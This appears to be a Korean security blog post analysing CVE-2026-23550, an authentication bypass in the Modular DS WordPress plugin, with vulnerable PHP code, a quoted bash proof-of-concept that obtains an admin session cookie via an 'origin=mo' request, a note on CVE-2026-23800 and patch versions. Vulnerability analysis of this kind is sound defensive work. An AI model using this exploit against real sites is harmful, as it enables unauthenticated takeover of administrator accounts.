1. Modular DS (Modular Connector)

- 여러 워드프레스 사이트를 하나의 대시보드에서 관리할 수 있게 해주는 플러그인 [1]

2. 취약점

[사진 1] CVE-2026-23550 [2]

direct request(직접 요청) 모드가 활성화된 상태에서 조작된 요청을 통해 인증을 우회하여 보호된 경로에진입할 수 있는 인증 우회 취약점 (CVSS: 10.0) [3]

영향받는 버전
Modular DS 2.5.1 이하 버전

 

- 민감한 경로에대한 접근은 Route::middeware('auth') 그룹으로 그룹화되어 인증을 강제

> "direct request" 모드가 활성화될 때 인증 메커니즘은 isDirectRequest() 메서드에 의존하기 때문에 우회가 가능함이 확인

> 해당 모드는 "origin" 매개변수가 "mo"인 경우 활성화 가능

> 또한, signature, secret, IP, or mandatory User-Agent 등에 대한 검증이 없음

> 따라서, 요청에 "origin=mo&type=xxx" 매개변수가 포함된 경우 간단히 direct request 모드 활성화 가능

vendor/ares/framework/src/Foundation/Http/HttpUtils.php
public static function isDirectRequest(): bool
    {
        $request = \Modular\ConnectorDependencies\app('request');
        $userAgent = $request->header('User-Agent');
        $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
        $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
        $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
        // When is wp-load.php request
        if ($isFromQuery) {
            return \true;
        }
        // TODO Now we use Laravel routes but we can't directly use the routes
        $isFromSegment = \false && $request->segment(1) === 'api' && $request->segment(2) === 'modular-connector';
        if ($isFromSegment) {
            return \true;
        }
        return \false;
    }

 

- 요청이 direct request 모드의 요청일 경우 인증 미들웨어는 validateOrRenewAccessToken()를 통해 해당 사이트가 Modular에 연결되어 있는지 여부만 확인

> 해당 사이트가 이미 Modular에 연결되어 있다면, 누구나 인증 미들웨어를 우회해 로그인, 서버 정보 조회, 관리 기능, 백업 등 민감한 경로에 접근이 가능

 

- getLogin()은 요청의 Body에서 "id" 값을 읽으려 시도

> 만약 해당 값이 비어있을 경우 getAdminUser()를 통해 관리자 사용자를 확보한 후 해당 사용자로 로그인하고 관리자 리디렉션을 반환

src/app/Http/Controllers/AuthController.php
public function getLogin(SiteRequest $modularRequest)
    {
        $user = data_get($modularRequest->body, 'id');

        if (!empty($user)) {
            $user = get_user_by('id', $user);
        }

        if (empty($user)) {
            Cache::driver('wordpress')->forget('user.login');

            $user = ServerSetup::getAdminUser();
        } else {
            Cache::driver('wordpress')->forever('user.login', $user->ID);
        }

        if (empty($user)) {
            // TODO Make a custom exception
            throw new \Exception('No admin user detected.');
        }

        $cookies = ServerSetup::loginAs($user, true);

        return Response::redirectTo(admin_url('index.php'))
            ->withCookies($cookies);
    }

 

2.1 PoC

- $TARGET/?rest_route=/api/modular-connector/login 경로에 {"origin":"mo"} 값을 포함하는 요청 전송 [4]

...

# 대상 설정 및 서버로부터 받은 쿠키를 저장할 임시 파일 생성

TARGET="${1:-http://localhost:8080}"
COOKIE_JAR="cookies.txt"

...

# $TARGET/?rest_route=/api/modular-connector/login 경로
# {"origin":"mo"} 값을 포함하는 POST 요청 전송

# Exploit unauthenticated admin login
echo "[+] Sending origin=mo bypass payload..."
RESPONSE=$(curl -s -w "\nHTTP:%{http_code}" -X POST \
  "$TARGET/?rest_route=/api/modular-connector/login" \
  -H "Content-Type: application/json" \
  -d '{"origin":"mo"}' \
  -c "$COOKIE_JAR")

...

# 저장된 쿠키 파일에서 관리자 세션 쿠키 (wordpress_logged_in_) 문자열 검색
# 발급받은 쿠키를 사용하여 /wp-admin/ 접근 시도
# dashboard나 wp-admin 문구가 포함되어 있다면 관리자 권한 탈취에 성공
# 사용한 임시 쿠키 파일 삭제 및 종료

# Check for admin session cookie
if grep -q "wordpress_logged_in_" "$COOKIE_JAR"; then
  echo "[+] ✅ VULNERABLE! Admin session cookie issued"
  echo "[+] Cookies saved: $COOKIE_JAR"
  
  # Verify wp-admin access
  echo "[+] Testing wp-admin access..."
  DASHBOARD=$(curl -s -b "$COOKIE_JAR" "$TARGET/wp-admin/" | grep -i "dashboard\|wp-admin")
  if [[ -n "$DASHBOARD" ]]; then
    echo "[+] ✅ FULL ADMIN ACCESS CONFIRMED"
    echo "    $DASHBOARD" | head -1
  fi
else
  echo "[-] Not vulnerable - no admin cookie issued"
fi

rm -f "$COOKIE_JAR"
echo "[+] Test complete"

 

[사진 2] 취약점 시연

※ 해당 시연에서 사용한 워드프레스의 경우 Modular와 연결된 적이 없기때문에 404 에러가 발생하는 것으로 판단됨

2.2 CVE 2026-23800

[사진 3] CVE-2026-23800 [5]

- /?rest_route=/wp/v2/users&origin=mo&type=x와 같은 요청 경로를 통해 관리자 권환 획득 가능한 권한 상승 취약점 (CVSS: 10.0)

> CVE-2026-23550 패치이후 발견된 추가 취약점으로, 이를 통해 공격자가 관리자 권한으로 임의의 WordPress REST route를 실행할 수 있음

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

> URL 기반 라우트 매칭 제거 및 404 기본 라우트 추가

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-23550 Modular DS 2.5.1 이하 버전 2.5.2
CVE-2026-23800 2.6.0 이하 버전 2.6.0

4. 참고

[1] https://modulards.com
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-23550
[3] https://patchstack.com/articles/critical-privilege-escalation-vulnerability-in-modular-ds-plugin-affecting-40k-sites-exploited-in-the-wild/
[4] https://github.com/TheTorjanCaptain/CVE-2026-23550-PoC
[5] https://nvd.nist.gov/vuln/detail/CVE-2026-23800
[5] https://help.modulards.com/en/article/modular-ds-security-releases-modular-connector-260-and-252-dm3mv0/
[6] https://github.com/cyberdudebivash/CYBERDUDEBIVASH-Modular-DS-CVE-2026-23550-Detector
[7] https://www.dailysecu.com/news/articleView.html?idxno=204404

+ Recent posts